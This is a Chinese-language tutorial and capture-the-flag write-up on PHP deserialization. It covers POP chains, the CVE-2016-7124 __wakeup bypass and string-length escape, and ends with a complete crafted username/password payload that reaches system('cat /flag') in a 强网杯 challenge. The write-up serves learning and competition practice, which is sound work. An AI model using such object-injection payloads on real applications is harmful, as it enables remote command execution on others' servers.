0x01 基本概念
POP:Property-Oriented Programming 面向属性编程
POP链:通过多个属性/对象之前的调用关系形成的一个可利用链(如有错误请指正)
PHP魔法函数:在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用,即所谓的魔法函数
PHP序列化:将PHP变量或对象转换成字符串
PHP反序列化:将字符串转换成PHP变量或对象
0x02 PHP序列化与反序列化
写一个简单的demo,类man中有name喝age属性,__construct是魔法函数,在创建对象的时候会调用,serialize()函数就是序列化,var_dump会打印序列化后的字符串
<?php class man{ public $name; public $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } } $man=new man("Bob",5); var_dump(serialize($man)); $uman=‘O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666‘; var_dump(unserialize($uman)); ?> |
打印结果如下:
O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;},从前往后说,其中O表示对象,3是长度,man是类名,2表示2个属性,大括号内表示属性名和值。
在demo中也可以看到,字符串O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666 依然可以反序列成man对象,且属性与O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}相同,说明在规定语法外添加字符串不影响反序列化的结果。
0x03 __wakeup()魔术方法绕过(CVE-2016-7124)
unserialize()会检查类是否有__wakeup()魔术方法,有的话会先调用该方法,稍微改一下上面的demo,可以看到在反序列化的时候调用了__wakeup魔术方法:
<?php class man{ public $name; public $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } function __wakeup(){ echo ‘Its __wakeup‘; } } $man=new man("Bob",5); var_dump(unserialize((serialize($man)) )); ?> |
而CVE-2016-7124漏洞是当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。也就是说,对字符串O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}反序列化时,会不执行__wakeup,较低版本的PHP会有这个漏洞。
<?php class man{ public $name; public $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } function __wakeup(){ echo ‘Its __wakeup‘; } } $man=new man("Bob",5); var_dump(unserialize(‘O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}‘) )); ?> |
0x04 PHP序列化与反序列化逃逸
看下面的demo
<?php function filter($string){ $a = str_replace(‘11‘,‘2‘,$string); return $a; } $username = ‘111111‘; $password="abcdef"; $user = array($username, $password); $a=(serialize($user)); echo $a;echo "\n"; $r = filter($a); echo $r;echo "\n"; var_dump(unserialize($r)); ?> |
输出如下:
a:2:{i:0;s:6:"111111";i:1;s:6:"abcdef";}
a:2:{i:0;s:6:"222";i:1;s:6:"abcdef";}
bool(false)
看到在第一个参数找6个字符的时候,第二个字符串反序列化会报错,是由于剩下的字符串不符合语法规则了。
如果说password只能输入字符串类型,但我想将password变成int类型呢?
需要将代码修改如下:
<?php function filter($string){ $a = str_replace(‘11‘,‘2‘,$string); return $a; } $username = ‘111111111111111111111111‘; $password=‘";i:1;i:1;}xxx‘; $user = array($username, $password); $a=(serialize($user)); echo $a;echo "\n"; $r = filter($a); echo $r;echo "\n"; var_dump(unserialize($r)); ?> |
逃逸本质上是由于序列化的时候字符串长度固定了,但是在反序列化之前,会由于各种原因改变字符串的长度,导致反序列化时读取的数据发生了变化,如果经过精心构造格式正确的payload,那么就可以达到逃逸的效果。
0x05 强网杯题目---Web辅助
这个题目是依靠PHP序列化与反序列化逃逸、__wakeup绕过、POP链构造几个点来最终获取flag的。
题目如下:
index.php
...
if (isset($_GET[‘username‘]) && isset($_GET[‘password‘])){ $username = $_GET[‘username‘]; $password = $_GET[‘password‘]; $player = new player($username, $password); file_put_contents("caches/".md5($_SERVER[‘REMOTE_ADDR‘]), write(serialize($player))); echo sprintf(‘Welcome %s, your ip is %s\n‘, $username, $_SERVER[‘REMOTE_ADDR‘]); } else{ echo "Please input the username or password!\n"; } ... |
common.php
<?php function read($data){ $data = str_replace(‘\0*\0‘, chr(0)."*".chr(0), $data); var_dump($data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), ‘\0*\0‘, $data); return $data; } function check($data) { if(stristr($data, ‘name‘)!==False){ die("Name Pass\n"); } else{ return $data; } } ?> |
play.php
... @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER[‘REMOTE_ADDR‘]))))); ... |
class.php
<?php class player{ protected $user; protected $pass; protected $admin; public function __construct($user, $pass, $admin = 0){ $this->user = $user; $this->pass = $pass; $this->admin = $admin; } public function get_admin(){ $this->admin = 1; return $this->admin ; } } class topsolo{ protected $name; public function __construct($name = ‘Riven‘){ $this->name = $name; } public function TP(){ if (gettype($this->name) === "function" or gettype($this->name) === "object"){ $name = $this->name; $name(); } } public function __destruct(){ $this->TP(); } } class midsolo{ protected $name; public function __construct($name){ $this->name = $name; } public function __wakeup(){ if ($this->name !== ‘Yasuo‘){ $this->name = ‘Yasuo‘; echo "No Yasuo! No Soul!\n"; } } public function __invoke(){ $this->Gank(); } public function Gank(){ if (stristr($this->name, ‘Yasuo‘)){ echo "Are you orphan?\n"; } else{ echo "Must Be Yasuo!\n"; } } } class jungle{ protected $name = ""; public function __construct($name = "Lee Sin"){ $this->name = $name; } public function KS(){ system("cat /flag"); } public function __toString(){ $this->KS(); return ""; } } ?> |
PHP魔术函数部分使用情况如下:
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
我们可以控制的点是username与password,最终要执行的点是jungle->KS(),查看各个函数间的调用情况,将jungle当作字符串时,会触发__toSrting(),调用KS(),midsolo的name是jungle对象时,Gank()函数会将name当作字符串处理,而topsolo的TP()函数会将其name属性当作函数,这样会执行name的__invoke()函数,发现反序列化此POP链可以获取falg:topsolo(midsolo(jungle()))。
那么怎么通过可以控制的username与password达到反序列化POP链呢?
想到将对象放入到username或password中传到后端,这样反序列化的时候就会调用这个POP链,获取flag了。但是现在还有问题,无法直接传递对象,想到可以用序列化的方式传递
如果反序列化的字符串是O:6:"player":3:{s:7:"*user";i:1;s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:8:"*admin";i:0;},就达到了目的(由于属性是protected,所以属性名是形如 * name这种)。
需要绕过midsolo的__wakeup()---通过CVE-2016-7124改属性个数绕过
反序列化的字符串不允许出现name---通过使用大写的S,十六进制进行绕过
得到想要反序列化的字符串:O:6:"player":3:{s:7:"*user";i:1;;S:7:"*pass";O:7:"topsolo":1:{S:7:"*\6eame";O:7:"midsolo":2:{S:7:"*\6eame";O:6:"jungle":1:{S:7:"*\6eame";s:7:"Lee Sin";}}}S:8:"*admin";i:0;}
又因为read函数会将字符串\0*\0长度由5变成3,可以进行逃逸(不清楚的可仔细看下0x04)
所以最终的利用是username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0;password=2";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;}
发送带相应参数的请求后,服务端会将player序列化,反序列化之前会执行read函数,减少字符串长度,吞噬掉password的部分字段,最终导致反序列化了字符串O:6:"player":3:{s:7:"*user";s:60:"************";s:7:"*pass";s:172:"2";S:7:"*pass";O:7:"topsolo":1:{S:7:"*\6eame";O:7:"midsolo":2:{S:7:"*\6eame";O:6:"jungle":1:{S:7:"*\6eame";s:7:"Lee Sin";}}}S:8:"*admin";i:0;},根据之间的链会调用KS()获取flag。
参考链接:
https://www.freebuf.com/articles/web/247930.html
https://www.cnblogs.com/tr1ple/p/11876441.html